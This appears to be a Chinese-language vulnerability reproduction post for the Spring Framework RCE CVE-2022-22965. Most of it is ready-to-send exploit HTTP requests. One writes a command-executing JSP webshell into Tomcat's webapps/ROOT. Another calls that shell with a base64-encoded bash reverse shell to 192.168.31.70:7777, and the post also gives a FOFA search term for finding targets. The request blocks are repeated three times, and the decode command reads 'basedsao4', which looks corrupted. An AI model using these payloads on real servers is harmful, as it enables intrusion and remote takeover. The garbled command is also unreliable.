CVE-2022-22965 Spring Framework RCE

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漏洞复现 CVE-2022-22965 Spring Framework RCE

0x01 阅读须知

0x02 漏洞描述

Spring Framework是一个开源应用框架，初衷是为了降低应用程序开发的复杂度，具有分层体系结构，允许用户选择组件，同时还为 J2EE应用程序开发提供了一个好用的框架。2022年3月31日，VMware Tanzu发布漏洞报告，Spring Framework存在远程代码执行漏洞，在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。Spring MVC 框架的参数绑定功能提供了将请求中的参数绑定控制器方法中参数对象的成员变量，通过 ClassLoader构造恶意请求获取AccessLogValue 对象并注入恶意字段值，来更改 Tomcat 服务器的日志记录属性触发 pipeline 机制写入任意路径下的文件。

0x03 漏洞复现

漏洞影响: Spring Framework < 5.2.20、Spring Framework < 5.3.18

FOFA:Spring Framework

1.开启CVE-2022-22965 vulhub环境

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
docker-compose up -d
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
docker-compose up -d
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
docker-compose up -d

2.构造payload，写入名称为tomcatwar.jsp的webshell到tomcat的webapps/ROOT路径下

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

3.反弹shell，构造base64解码反弹shell脚本，可以用如下网站（由于是get方法，需要转换为url编码http://www.jsons.cn/urlencode）

https://ir0ny.top/pentest/reverse-encoder-shell.html
https://ir0ny.top/pentest/reverse-encoder-shell.html
https://ir0ny.top/pentest/reverse-encoder-shell.html

4.nc监听7777端口，并反弹shell，得到一个shell

GET /tomcatwar.jsp?pwd=j&cmd=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjcwLzc3NzcgMD4mMQ%3D%3D%7D%7C%7Bbasedsao4%2C-d%7D%7C%7Bbash%2C-i%7D HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
GET /tomcatwar.jsp?pwd=j&cmd=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjcwLzc3NzcgMD4mMQ%3D%3D%7D%7C%7Bbasedsao4%2C-d%7D%7C%7Bbash%2C-i%7D HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

GET /tomcatwar.jsp?pwd=j&cmd=bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjcwLzc3NzcgMD4mMQ%3D%3D%7D%7C%7Bbasedsao4%2C-d%7D%7C%7Bbash%2C-i%7D HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1